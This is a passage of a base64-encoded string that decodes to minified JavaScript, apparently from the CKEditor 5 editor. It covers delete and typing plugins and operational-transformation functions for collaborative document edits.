i5zZWxlY3Rpb247Y29uc3Qgbz1lLnNjaGVtYS5nZXRMaW1pdEVsZW1lbnQoaSk7Y29uc3Qgcj1pLmlzQ29sbGFwc2VkJiZpLmNvbnRhaW5zRW50aXJlQ29udGVudChvKTtpZighcil7cmV0dXJuIGZhbHNlfWlmKCFlLnNjaGVtYS5jaGVja0NoaWxkKG8sInBhcmFncmFwaCIpKXtyZXR1cm4gZmFsc2V9Y29uc3Qgcz1vLmdldENoaWxkKDApO2lmKHMmJnMubmFtZT09PSJwYXJhZ3JhcGgiKXtyZXR1cm4gZmFsc2V9cmV0dXJuIHRydWV9X3JlcGxhY2VFbnRpcmVDb250ZW50V2l0aFBhcmFncmFwaCh0KXtjb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG49ZS5kb2N1bWVudDtjb25zdCBpPW4uc2VsZWN0aW9uO2NvbnN0IG89ZS5zY2hlbWEuZ2V0TGltaXRFbGVtZW50KGkpO2NvbnN0IHI9dC5jcmVhdGVFbGVtZW50KCJwYXJhZ3JhcGgiKTt0LnJlbW92ZSh0LmNyZWF0ZVJhbmdlSW4obykpO3QuaW5zZXJ0KHIsbyk7dC5zZXRTZWxlY3Rpb24ociwwKX19Y2xhc3MgRkEgZXh0ZW5kcyB0dXtjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTtjb25zdCBlPXQuZG9jdW1lbnQ7bGV0IG49MDtlLm9uKCJrZXl1cCIsKCh0LGUpPT57aWYoZS5rZXlDb2RlPT1MbC5kZWxldGV8fGUua2V5Q29kZT09TGwuYmFja3NwYWNlKXtuPTB9fSkpO2Uub24oImtleWRvd24iLCgodCxlKT0+e2NvbnN0IG89e307aWYoZS5rZXlDb2RlPT1MbC5kZWxldGUpe28uZGlyZWN0aW9uPSJmb3J3YXJkIjtvLnVuaXQ9ImNoYXJhY3RlciJ9ZWxzZSBpZihlLmtleUNvZGU9PUxsLmJhY2tzcGFjZSl7by5kaXJlY3Rpb249ImJhY2t3YXJkIjtvLnVuaXQ9ImNvZGVQb2ludCJ9ZWxzZXtyZXR1cm59Y29uc3Qgcj1FbC5pc01hYz9lLmFsdEtleTplLmN0cmxLZXk7by51bml0PXI/IndvcmQiOm8udW5pdDtvLnNlcXVlbmNlPSsrbjtpKHQsZS5kb21FdmVudCxvKX0pKTtpZihFbC5pc0FuZHJvaWQpe2Uub24oImJlZm9yZWlucHV0IiwoKGUsbik9PntpZihuLmRvbUV2ZW50LmlucHV0VHlwZSE9ImRlbGV0ZUNvbnRlbnRCYWNrd2FyZCIpe3JldHVybn1jb25zdCBvPXt1bml0OiJjb2RlcG9pbnQiLGRpcmVjdGlvbjoiYmFja3dhcmQiLHNlcXVlbmNlOjF9O2NvbnN0IHI9bi5kb21UYXJnZXQub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldy5nZXRTZWxlY3Rpb24oKTtpZihyLmFuY2hvck5vZGU9PXIuZm9jdXNOb2RlJiZyLmFuY2hvck9mZnNldCsxIT1yLmZvY3VzT2Zmc2V0KXtvLnNlbGVjdGlvblRvUmVtb3ZlPXQuZG9tQ29udmVydGVyLmRvbVNlbGVjdGlvblRvVmlldyhyKX1pKGUsbi5kb21FdmVudCxvKX0pKX1mdW5jdGlvbiBpKHQsbixpKXtsZXQgbztlLm9uY2UoImRlbGV0ZSIsKHQ9Pm89dCkse3ByaW9yaXR5Ok51bWJlci5QT1NJVElWRV9JTkZJTklUWX0pO2UuZmlyZSgiZGVsZXRlIixuZXcgZWgoZSxuLGkpKTtpZihvJiZvLnN0b3AuY2FsbGVkKXt0LnN0b3AoKX19fW9ic2VydmUoKXt9fWNsYXNzIFZBIGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIkRlbGV0ZSJ9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldztjb25zdCBuPWUuZG9jdW1lbnQ7ZS5hZGRPYnNlcnZlcihGQSk7dC5jb21tYW5kcy5hZGQoImZvcndhcmREZWxldGUiLG5ldyBqQSh0LCJmb3J3YXJkIikpO3QuY29tbWFuZHMuYWRkKCJkZWxldGUiLG5ldyBqQSh0LCJiYWNrd2FyZCIpKTt0aGlzLmxpc3RlblRvKG4sImRlbGV0ZSIsKChuLGkpPT57Y29uc3Qgbz17dW5pdDppLnVuaXQsc2VxdWVuY2U6aS5zZXF1ZW5jZX07aWYoaS5zZWxlY3Rpb25Ub1JlbW92ZSl7Y29uc3QgZT10Lm1vZGVsLmNyZWF0ZVNlbGVjdGlvbigpO2NvbnN0IG49W107Zm9yKGNvbnN0IGUgb2YgaS5zZWxlY3Rpb25Ub1JlbW92ZS5nZXRSYW5nZXMoKSl7bi5wdXNoKHQuZWRpdGluZy5tYXBwZXIudG9Nb2RlbFJhbmdlKGUpKX1lLnNldFRvKG4pO28uc2VsZWN0aW9uPWV9dC5leGVjdXRlKGkuZGlyZWN0aW9uPT0iZm9yd2FyZCI/ImZvcndhcmREZWxldGUiOiJkZWxldGUiLG8pO2kucHJldmVudERlZmF1bHQoKTtlLnNjcm9sbFRvVGhlU2VsZWN0aW9uKCl9KSk7aWYoRWwuaXNBbmRyb2lkKXtsZXQgdD1udWxsO3RoaXMubGlzdGVuVG8obiwiZGVsZXRlIiwoKGUsbik9Pntjb25zdCBpPW4uZG9tVGFyZ2V0Lm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcuZ2V0U2VsZWN0aW9uKCk7dD17YW5jaG9yTm9kZTppLmFuY2hvck5vZGUsYW5jaG9yT2Zmc2V0OmkuYW5jaG9yT2Zmc2V0LGZvY3VzTm9kZTppLmZvY3VzTm9kZSxmb2N1c09mZnNldDppLmZvY3VzT2Zmc2V0fX0pLHtwcmlvcml0eToibG93ZXN0In0pO3RoaXMubGlzdGVuVG8obiwia2V5dXAiLCgoZSxuKT0+e2lmKHQpe2NvbnN0IGU9bi5kb21UYXJnZXQub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldy5nZXRTZWxlY3Rpb24oKTtlLmNvbGxhcHNlKHQuYW5jaG9yTm9kZSx0LmFuY2hvck9mZnNldCk7ZS5leHRlbmQodC5mb2N1c05vZGUsdC5mb2N1c09mZnNldCk7dD1udWxsfX0pKX19fWNsYXNzIFVBIGV4dGVuZHMgbkN7c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltSQSxWQV19c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIlR5cGluZyJ9fWNvbnN0IEhBPW5ldyBNYXA7ZnVuY3Rpb24gR0EodCxlLG4pe2xldCBpPUhBLmdldCh0KTtpZighaSl7aT1uZXcgTWFwO0hBLnNldCh0LGkpfWkuc2V0KGUsbil9ZnVuY3Rpb24gV0EodCxlKXtjb25zdCBuPUhBLmdldCh0KTtpZihuJiZuLmhhcyhlKSl7cmV0dXJuIG4uZ2V0KGUpfXJldHVybiBLQX1mdW5jdGlvbiBLQSh0KXtyZXR1cm5bdF19ZnVuY3Rpb24gcUEodCxlLG49e30pe2NvbnN0IGk9V0EodC5jb25zdHJ1Y3RvcixlLmNvbnN0cnVjdG9yKTt0cnl7dD10LmNsb25lKCk7cmV0dXJuIGkodCxlLG4pfWNhdGNoKHQpe3Rocm93IHR9fWZ1bmN0aW9uIFlBKHQsZSxuKXt0PXQuc2xpY2UoKTtlPWUuc2xpY2UoKTtjb25zdCBpPW5ldyBRQShuLmRvY3VtZW50LG4udXNlUmVsYXRpb25zLG4uZm9yY2VXZWFrUmVtb3ZlKTtpLnNldE9yaWdpbmFsT3BlcmF0aW9ucyh0KTtpLnNldE9yaWdpbmFsT3BlcmF0aW9ucyhlKTtjb25zdCBvPWkub3JpZ2luYWxPcGVyYXRpb25zO2lmKHQubGVuZ3RoPT0wfHxlLmxlbmd0aD09MCl7cmV0dXJue29wZXJhdGlvbnNBOnQsb3BlcmF0aW9uc0I6ZSxvcmlnaW5hbE9wZXJhdGlvbnM6b319Y29uc3Qgcj1uZXcgV2Vha01hcDtmb3IoY29uc3QgZSBvZiB0KXtyLnNldChlLDApfWNvbnN0IHM9e25leHRCYXNlVmVyc2lvbkE6dFt0Lmxlbmd0aC0xXS5iYXNlVmVyc2lvbisxLG5leHRCYXNlVmVyc2lvbkI6ZVtlLmxlbmd0aC0xXS5iYXNlVmVyc2lvbisxLG9yaWdpbmFsT3BlcmF0aW9uc0FDb3VudDp0Lmxlbmd0aCxvcmlnaW5hbE9wZXJhdGlvbnNCQ291bnQ6ZS5sZW5ndGh9O2xldCBhPTA7d2hpbGUoYTx0Lmxlbmd0aCl7Y29uc3Qgbj10W2FdO2NvbnN0IG89ci5nZXQobik7aWYobz09ZS5sZW5ndGgpe2ErKztjb250aW51ZX1jb25zdCBzPWVbb107Y29uc3QgYz1xQShuLHMsaS5nZXRDb250ZXh0KG4scyx0cnVlKSk7Y29uc3QgbD1xQShzLG4saS5nZXRDb250ZXh0KHMsbixmYWxzZSkpO2kudXBkYXRlUmVsYXRpb24obixzKTtpLnNldE9yaWdpbmFsT3BlcmF0aW9ucyhjLG4pO2kuc2V0T3JpZ2luYWxPcGVyYXRpb25zKGwscyk7Zm9yKGNvbnN0IHQgb2YgYyl7ci5zZXQodCxvK2wubGVuZ3RoKX10LnNwbGljZShhLDEsLi4uYyk7ZS5zcGxpY2UobywxLC4uLmwpfWlmKG4ucGFkV2l0aE5vT3BzKXtjb25zdCBuPXQubGVuZ3RoLXMub3JpZ2luYWxPcGVyYXRpb25zQUNvdW50O2NvbnN0IGk9ZS5sZW5ndGgtcy5vcmlnaW5hbE9wZXJhdGlvbnNCQ291bnQ7SkEodCxpLW4pO0pBKGUsbi1pKX0kQSh0LHMubmV4dEJhc2VWZXJzaW9uQik7JEEoZSxzLm5leHRCYXNlVmVyc2lvbkEpO3JldHVybntvcGVyYXRpb25zQTp0LG9wZXJhdGlvbnNCOmUsb3JpZ2luYWxPcGVyYXRpb25zOm99fWNsYXNzIFFBe2NvbnN0cnVjdG9yKHQsZSxuPWZhbHNlKXt0aGlzLm9yaWdpbmFsT3BlcmF0aW9ucz1uZXcgTWFwO3RoaXMuX2hpc3Rvcnk9dC5oaXN0b3J5O3RoaXMuX3VzZVJlbGF0aW9ucz1lO3RoaXMuX2ZvcmNlV2Vha1JlbW92ZT0hIW47dGhpcy5fcmVsYXRpb25zPW5ldyBNYXB9c2V0T3JpZ2luYWxPcGVyYXRpb25zKHQsZT1udWxsKXtjb25zdCBuPWU/dGhpcy5vcmlnaW5hbE9wZXJhdGlvbnMuZ2V0KGUpOm51bGw7Zm9yKGNvbnN0IGUgb2YgdCl7dGhpcy5vcmlnaW5hbE9wZXJhdGlvbnMuc2V0KGUsbnx8ZSl9fXVwZGF0ZVJlbGF0aW9uKHQsZSl7c3dpdGNoKHQuY29uc3RydWN0b3Ipe2Nhc2Ugdmc6e3N3aXRjaChlLmNvbnN0cnVjdG9yKXtjYXNlIE1nOntpZih0LnRhcmdldFBvc2l0aW9uLmlzRXF1YWwoZS5zb3VyY2VQb3NpdGlvbil8fGUubW92ZWRSYW5nZS5jb250YWluc1Bvc2l0aW9uKHQudGFyZ2V0UG9zaXRpb24pKXt0aGlzLl9zZXRSZWxhdGlvbih0LGUsImluc2VydEF0U291cmNlIil9ZWxzZSBpZih0LnRhcmdldFBvc2l0aW9uLmlzRXF1YWwoZS5kZWxldGlvblBvc2l0aW9uKSl7dGhpcy5fc2V0UmVsYXRpb24odCxlLCJpbnNlcnRCZXR3ZWVuIil9ZWxzZSBpZih0LnRhcmdldFBvc2l0aW9uLmlzQWZ0ZXIoZS5zb3VyY2VQb3NpdGlvbikpe3RoaXMuX3NldFJlbGF0aW9uKHQsZSwibW92ZVRhcmdldEFmdGVyIil9YnJlYWt9Y2FzZSB2Zzp7aWYodC50YXJnZXRQb3NpdGlvbi5pc0VxdWFsKGUuc291cmNlUG9zaXRpb24pfHx0LnRhcmdldFBvc2l0aW9uLmlzQmVmb3JlKGUuc291cmNlUG9zaXRpb24pKXt0aGlzLl9zZXRSZWxhdGlvbih0LGUsImluc2VydEJlZm9yZSIpfWVsc2V7dGhpcy5fc2V0UmVsYXRpb24odCxlLCJpbnNlcnRBZnRlciIpfWJyZWFrfX1icmVha31jYXNlIFNnOntzd2l0Y2goZS5jb25zdHJ1Y3Rvcil7Y2FzZSBNZzp7aWYodC5zcGxpdFBvc2l0aW9uLmlzQmVmb3JlKGUuc291cmNlUG9zaXRpb24pKXt0aGlzLl9zZXRSZWxhdGlvbih0LGUsInNwbGl0QmVmb3JlIil9YnJlYWt9Y2FzZSB2Zzp7aWYodC5zcGxpdFBvc2l0aW9uLmlzRXF1YWwoZS5zb3VyY2VQb3NpdGlvbil8fHQuc3BsaXRQb3NpdGlvbi5pc0JlZm9yZShlLnNvdXJjZVBvc2l0aW9uKSl7dGhpcy5fc2V0UmVsYXRpb24odCxlLCJzcGxpdEJlZm9yZSIpfWJyZWFrfX1icmVha31jYXNlIE1nOntzd2l0Y2goZS5jb25zdHJ1Y3Rvcil7Y2FzZSBNZzp7aWYoIXQudGFyZ2V0UG9zaXRpb24uaXNFcXVhbChlLnNvdXJjZVBvc2l0aW9uKSl7dGhpcy5fc2V0UmVsYXRpb24odCxlLCJtZXJnZVRhcmdldE5vdE1vdmVkIil9aWYodC5zb3VyY2VQb3NpdGlvbi5pc0VxdWFsKGUudGFyZ2V0UG9zaXRpb24pKXt0aGlzLl9zZXRSZWxhdGlvbih0LGUsIm1lcmdlU291cmNlTm90TW92ZWQiKX1pZih0LnNvdXJjZVBvc2l0aW9uLmlzRXF1YWwoZS5zb3VyY2VQb3NpdGlvbikpe3RoaXMuX3NldFJlbGF0aW9uKHQsZSwibWVyZ2VTYW1lRWxlbWVudCIpfWJyZWFrfWNhc2UgU2c6e2lmKHQuc291cmNlUG9zaXRpb24uaXNFcXVhbChlLnNwbGl0UG9zaXRpb24pKXt0aGlzLl9zZXRSZWxhdGlvbih0LGUsInNwbGl0QXRTb3VyY2UiKX19fWJyZWFrfWNhc2UgeGc6e2NvbnN0IG49dC5uZXdSYW5nZTtpZighbil7cmV0dXJufXN3aXRjaChlLmNvbnN0cnVjdG9yKXtjYXNlIHZnOntjb25zdCBpPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdChlLnNvdXJjZVBvc2l0aW9uLGUuaG93TWFueSk7Y29uc3Qgbz1pLmNvbnRhaW5zUG9zaXRpb24obi5zdGFydCl8fGkuc3RhcnQuaXNFcXVhbChuLnN0YXJ0KTtjb25zdCByPWkuY29udGFpbnNQb3NpdGlvbihuLmVuZCl8fGkuZW5kLmlzRXF1YWwobi5lbmQpO2lmKChvfHxyKSYmIWkuY29udGFpbnNSYW5nZShuKSl7dGhpcy5fc2V0UmVsYXRpb24odCxlLHtzaWRlOm8/ImxlZnQiOiJyaWdodCIscGF0aDpvP24uc3RhcnQucGF0aC5zbGljZSgpOm4uZW5kLnBhdGguc2xpY2UoKX0pfWJyZWFrfWNhc2UgTWc6e2NvbnN0IGk9bi5zdGFydC5pc0VxdWFsKGUudGFyZ2V0UG9zaXRpb24pO2NvbnN0IG89bi5zdGFydC5pc0VxdWFsKGUuZGVsZXRpb25Qb3NpdGlvbik7Y29uc3Qgcj1uLmVuZC5pc0VxdWFsKGUuZGVsZXRpb25Qb3NpdGlvbik7Y29uc3Qgcz1uLmVuZC5pc0VxdWFsKGUuc291cmNlUG9zaXRpb24pO2lmKGl8fG98fHJ8fHMpe3RoaXMuX3NldFJlbGF0aW9uKHQsZSx7d2FzSW5MZWZ0RWxlbWVudDppLHdhc1N0YXJ0QmVmb3JlTWVyZ2VkRWxlbWVudDpvLHdhc0VuZEJlZm9yZU1lcmdlZEVsZW1lbnQ6cix3YXNJblJpZ2h0RWxlbWVudDpzfSl9YnJlYWt9fWJyZWFrfX19Z2V0Q29udGV4dCh0LGUsbil7cmV0dXJue2FJc1N0cm9uZzpuLGFXYXNVbmRvbmU6dGhpcy5fd2FzVW5kb25lKHQpLGJXYXNVbmRvbmU6dGhpcy5fd2FzVW5kb25lKGUpLGFiUmVsYXRpb246dGhpcy5fdXNlUmVsYXRpb25zP3RoaXMuX2dldFJlbGF0aW9uKHQsZSk6bnVsbCxiYVJlbGF0aW9uOnRoaXMuX3VzZVJlbGF0aW9ucz90aGlzLl9nZXRSZWxhdGlvbihlLHQpOm51bGwsZm9yY2VXZWFrUmVtb3ZlOnRoaXMuX2ZvcmNlV2Vha1JlbW92ZX19X3dhc1VuZG9uZSh0KXtjb25zdCBlPXRoaXMub3JpZ2luYWxPcGVyYXRpb25zLmdldCh0KTtyZXR1cm4gZS53YXNVbmRvbmV8fHRoaXMuX2hpc3RvcnkuaXNVbmRvbmVPcGVyYXRpb24oZSl9X2dldFJlbGF0aW9uKHQsZSl7Y29uc3Qgbj10aGlzLm9yaWdpbmFsT3BlcmF0aW9ucy5nZXQoZSk7Y29uc3QgaT10aGlzLl9oaXN0b3J5LmdldFVuZG9uZU9wZXJhdGlvbihuKTtpZighaSl7cmV0dXJuIG51bGx9Y29uc3Qgbz10aGlzLm9yaWdpbmFsT3BlcmF0aW9ucy5nZXQodCk7Y29uc3Qgcj10aGlzLl9yZWxhdGlvbnMuZ2V0KG8pO2lmKHIpe3JldHVybiByLmdldChpKXx8bnVsbH1yZXR1cm4gbnVsbH1fc2V0UmVsYXRpb24odCxlLG4pe2NvbnN0IGk9dGhpcy5vcmlnaW5hbE9wZXJhdGlvbnMuZ2V0KHQpO2NvbnN0IG89dGhpcy5vcmlnaW5hbE9wZXJhdGlvbnMuZ2V0KGUpO2xldCByPXRoaXMuX3JlbGF0aW9ucy5nZXQoaSk7aWYoIXIpe3I9bmV3IE1hcDt0aGlzLl9yZWxhdGlvbnMuc2V0KGkscil9ci5zZXQobyxuKX19ZnVuY3Rpb24gJEEodCxlKXtmb3IoY29uc3QgbiBvZiB0KXtuLmJhc2VWZXJzaW9uPWUrK319ZnVuY3Rpb24gSkEodCxlKXtmb3IobGV0IG49MDtuPGU7bisrKXt0LnB1c2gobmV3IFpnKDApKX19R0EoQWcsQWcsKCh0LGUsbik9PntpZih0LmtleT09PWUua2V5JiZ0LnJhbmdlLnN0YXJ0Lmhhc1NhbWVQYXJlbnRBcyhlLnJhbmdlLnN0YXJ0KSl7Y29uc3QgaT10LnJhbmdlLmdldERpZmZlcmVuY2UoZS5yYW5nZSkubWFwKChlPT5uZXcgQWcoZSx0LmtleSx0Lm9sZFZhbHVlLHQubmV3VmFsdWUsMCkpKTtjb25zdCBvPXQucmFuZ2UuZ2V0SW50ZXJzZWN0aW9uKGUucmFuZ2UpO2lmKG8pe2lmKG4uYUlzU3Ryb25nKXtpLnB1c2gobmV3IEFnKG8sZS5rZXksZS5uZXdWYWx1ZSx0Lm5ld1ZhbHVlLDApKX19aWYoaS5sZW5ndGg9PTApe3JldHVybltuZXcgWmcoMCldfXJldHVybiBpfWVsc2V7cmV0dXJuW3RdfX0pKTtHQShBZyx5ZywoKHQsZSk9PntpZih0LnJhbmdlLnN0YXJ0Lmhhc1NhbWVQYXJlbnRBcyhlLnBvc2l0aW9uKSYmdC5yYW5nZS5jb250YWluc1Bvc2l0aW9uKGUucG9zaXRpb24pKXtjb25zdCBuPXQucmFuZ2UuX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRpb24oZS5wb3NpdGlvbixlLmhvd01hbnksIWUuc2hvdWxkUmVjZWl2ZUF0dHJpYnV0ZXMpO2NvbnN0IGk9bi5tYXAoKGU9Pm5ldyBBZyhlLHQua2V5LHQub2xkVmFsdWUsdC5uZXdWYWx1ZSx0LmJhc2VWZXJzaW9uKSkpO2lmKGUuc2hvdWxkUmVjZWl2ZUF0dHJpYnV0ZXMpe2NvbnN0IG49WkEoZSx0LmtleSx0Lm9sZFZhbHVlKTtpZihuKXtpLnVuc2hpZnQobil9fXJldHVybiBpfXQucmFuZ2U9dC5yYW5nZS5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbihlLnBvc2l0aW9uLGUuaG93TWFueSxmYWxzZSlbMF07cmV0dXJuW3RdfSkpO2Z1bmN0aW9uIFpBKHQsZSxuKXtjb25zdCBpPXQubm9kZXM7Y29uc3Qgbz1pLmdldE5vZGUoMCkuZ2V0QXR0cmlidXRlKGUpO2lmKG89PW4pe3JldHVybiBudWxsfWNvbnN0IHI9bmV3IGVmKHQucG9zaXRpb24sdC5wb3NpdGlvbi5nZXRTaGlmdGVkQnkodC5ob3dNYW55KSk7cmV0dXJuIG5ldyBBZyhyLGUsbyxuLDApfUdBKEFnLE1nLCgodCxlKT0+e2NvbnN0IG49W107aWYodC5yYW5nZS5zdGFydC5oYXNTYW1lUGFyZW50QXMoZS5kZWxldGlvblBvc2l0aW9uKSl7aWYodC5yYW5nZS5jb250YWluc1Bvc2l0aW9uKGUuZGVsZXRpb25Qb3NpdGlvbil8fHQucmFuZ2Uuc3RhcnQuaXNFcXVhbChlLmRlbGV0aW9uUG9zaXRpb24pKXtuLnB1c2goZWYuX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KGUuZ3JhdmV5YXJkUG9zaXRpb24sMSkpfX1jb25zdCBpPXQucmFuZ2UuX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKTtpZighaS5pc0NvbGxhcHNlZCl7bi5wdXNoKGkpfXJldHVybiBuLm1hcCgoZT0+bmV3IEFnKGUsdC5rZXksdC5vbGRWYWx1ZSx0Lm5ld1ZhbHVlLHQuYmFzZVZlcnNpb24pKSl9KSk7R0EoQWcsdmcsKCh0LGUpPT57Y29uc3Qgbj1YQSh0LnJhbmdlLGUpO3JldHVybiBuLm1hcCgoZT0+bmV3IEFnKGUsdC5rZXksdC5vbGRWYWx1ZSx0Lm5ld1ZhbHVlLHQuYmFzZVZlcnNpb24pKSl9KSk7ZnVuY3Rpb24gWEEodCxlKXtjb25zdCBuPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdChlLnNvdXJjZVBvc2l0aW9uLGUuaG93TWFueSk7bGV0IGk9bnVsbDtsZXQgbz1bXTtpZihuLmNvbnRhaW5zUmFuZ2UodCx0cnVlKSl7aT10fWVsc2UgaWYodC5zdGFydC5oYXNTYW1lUGFyZW50QXMobi5zdGFydCkpe289dC5nZXREaWZmZXJlbmNlKG4pO2k9dC5nZXRJbnRlcnNlY3Rpb24obil9ZWxzZXtvPVt0XX1jb25zdCByPVtdO2ZvcihsZXQgdCBvZiBvKXt0PXQuX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbihlLnNvdXJjZVBvc2l0aW9uLGUuaG93TWFueSk7Y29uc3Qgbj1lLmdldE1vdmVkUmFuZ2VTdGFydCgpO2NvbnN0IGk9dC5zdGFydC5oYXNTYW1lUGFyZW50QXMobik7dD10Ll9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKG4sZS5ob3dNYW55LGkpO3IucHVzaCguLi50KX1pZihpKXtyLnB1c2goaS5fZ2V0VHJhbnNmb3JtZWRCeU1vdmUoZS5zb3VyY2VQb3NpdGlvbixlLnRhcmdldFBvc2l0aW9uLGUuaG93TWFueSxmYWxzZSlbMF0pfXJldHVybiByfUdBKEFnLFNnLCgodCxlKT0+e2lmKHQucmFuZ2UuZW5kLmlzRXF1YWwoZS5pbnNlcnRpb25Qb3NpdGlvbikpe2lmKCFlLmdyYXZleWFyZFBvc2l0aW9uKXt0LnJhbmdlLmVuZC5vZmZzZXQrK31yZXR1cm5bdF19aWYodC5yYW5nZS5zdGFydC5oYXNTYW1lUGFyZW50QXMoZS5zcGxpdFBvc2l0aW9uKSYmdC5yYW5nZS5jb250YWluc1Bvc2l0aW9uKGUuc3BsaXRQb3NpdGlvbikpe2NvbnN0IG49dC5jbG9uZSgpO24ucmFuZ2U9bmV3IGVmKGUubW92ZVRhcmdldFBvc2l0aW9uLmNsb25lKCksdC5yYW5nZS5lbmQuX2dldENvbWJpbmVkKGUuc3BsaXRQb3NpdGlvbixlLm1vdmVUYXJnZXRQb3NpdGlvbikpO3QucmFuZ2UuZW5kPWUuc3BsaXRQb3NpdGlvbi5jbG9uZSgpO3QucmFuZ2UuZW5kLnN0aWNraW5lc3M9InRvUHJldmlvdXMiO3JldHVyblt0LG5dfXQucmFuZ2U9dC5yYW5nZS5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3JldHVyblt0XX0pKTtHQSh5ZyxBZywoKHQsZSk9Pntjb25zdCBuPVt0XTtpZih0LnNob3VsZFJlY2VpdmVBdHRyaWJ1dGVzJiZ0LnBvc2l0aW9uLmhhc1NhbWVQYXJlbnRBcyhlLnJhbmdlLnN0YXJ0KSYmZS5yYW5nZS5jb250YWluc1Bvc2l0aW9uKHQucG9zaXRpb24pKXtjb25zdCBpPVpBKHQsZS5rZXksZS5uZXdWYWx1ZSk7aWYoaSl7bi5wdXNoKGkpfX1yZXR1cm4gbn0pKTtHQSh5Zyx5ZywoKHQsZSxuKT0+e2lmKHQucG9zaXRpb24uaXNFcXVhbChlLnBvc2l0aW9uKSYmbi5hSXNTdHJvbmcpe3JldHVyblt0XX10LnBvc2l0aW9uPXQucG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKHlnLHZnLCgodCxlKT0+e3QucG9zaXRpb249dC5wb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1vdmVPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKHlnLFNnLCgodCxlKT0+e3QucG9zaXRpb249dC5wb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3JldHVyblt0XX0pKTtHQSh5ZyxNZywoKHQsZSk9Pnt0LnBvc2l0aW9uPXQucG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKTtyZXR1cm5bdF19KSk7R0EoeGcseWcsKCh0LGUpPT57aWYodC5vbGRSYW5nZSl7dC5vbGRSYW5nZT10Lm9sZFJhbmdlLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0T3BlcmF0aW9uKGUpWzBdfWlmKHQubmV3UmFuZ2Upe3QubmV3UmFuZ2U9dC5uZXdSYW5nZS5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydE9wZXJhdGlvbihlKVswXX1yZXR1cm5bdF19KSk7R0EoeGcseGcsKCh0LGUsbik9PntpZih0Lm5hbWU9PWUubmFtZSl7aWYobi5hSXNTdHJvbmcpe3Qub2xkUmFuZ2U9ZS5uZXdSYW5nZT9lLm5ld1JhbmdlLmNsb25lKCk6bnVsbH1lbHNle3JldHVybltuZXcgWmcoMCldfX1yZXR1cm5bdF19KSk7R0EoeGcsTWcsKCh0LGUpPT57aWYodC5vbGRSYW5nZSl7dC5vbGRSYW5nZT10Lm9sZFJhbmdlLl9nZXRUcmFuc2Zvcm1lZEJ5TWVyZ2VPcGVyYXRpb24oZSl9aWYodC5uZXdSYW5nZSl7dC5uZXdSYW5nZT10Lm5ld1JhbmdlLl9nZXRUcmFuc2Zvcm1lZEJ5TWVyZ2VPcGVyYXRpb24oZSl9cmV0dXJuW3RdfSkpO0dBKHhnLHZnLCgodCxlLG4pPT57aWYodC5vbGRSYW5nZSl7dC5vbGRSYW5nZT1lZi5fY3JlYXRlRnJvbVJhbmdlcyh0Lm9sZFJhbmdlLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbihlKSl9aWYodC5uZXdSYW5nZSl7aWYobi5hYlJlbGF0aW9uKXtjb25zdCBpPWVmLl9jcmVhdGVGcm9tUmFuZ2VzKHQubmV3UmFuZ2UuX2dldFRyYW5zZm9ybWVkQnlNb3ZlT3BlcmF0aW9uKGUpKTtpZihuLmFiUmVsYXRpb24uc2lkZT09ImxlZnQiJiZlLnRhcmdldFBvc2l0aW9uLmlzRXF1YWwodC5uZXdSYW5nZS5zdGFydCkpe3QubmV3UmFuZ2Uuc3RhcnQucGF0aD1uLmFiUmVsYXRpb24ucGF0aDt0Lm5ld1JhbmdlLmVuZD1pLmVuZDtyZXR1cm5bdF19ZWxzZSBpZihuLmFiUmVsYXRpb24uc2lkZT09InJpZ2h0IiYmZS50YXJnZXRQb3NpdGlvbi5pc0VxdWFsKHQubmV3UmFuZ2UuZW5kKSl7dC5uZXdSYW5nZS5zdGFydD1pLnN0YXJ0O3QubmV3UmFuZ2UuZW5kLnBhdGg9bi5hYlJlbGF0aW9uLnBhdGg7cmV0dXJuW3RdfX10Lm5ld1JhbmdlPWVmLl9jcmVhdGVGcm9tUmFuZ2VzKHQubmV3UmFuZ2UuX2dldFRyYW5zZm9ybWVkQnlNb3ZlT3BlcmF0aW9uKGUpKX1yZXR1cm5bdF19KSk7R0EoeGcsU2csKCh0LGUsbik9PntpZih0Lm9sZFJhbmdlKXt0Lm9sZFJhbmdlPXQub2xkUmFuZ2UuX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbihlKX1pZih0Lm5ld1JhbmdlKXtpZihuLmFiUmVsYXRpb24pe2NvbnN0IGk9dC5uZXdSYW5nZS5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO2lmKHQubmV3UmFuZ2Uuc3RhcnQuaXNFcXVhbChlLnNwbGl0UG9zaXRpb24pJiZuLmFiUmVsYXRpb24ud2FzU3RhcnRCZWZvcmVNZXJnZWRFbGVtZW50KXt0Lm5ld1JhbmdlLnN0YXJ0PUpoLl9jcmVhdGVBdChlLmluc2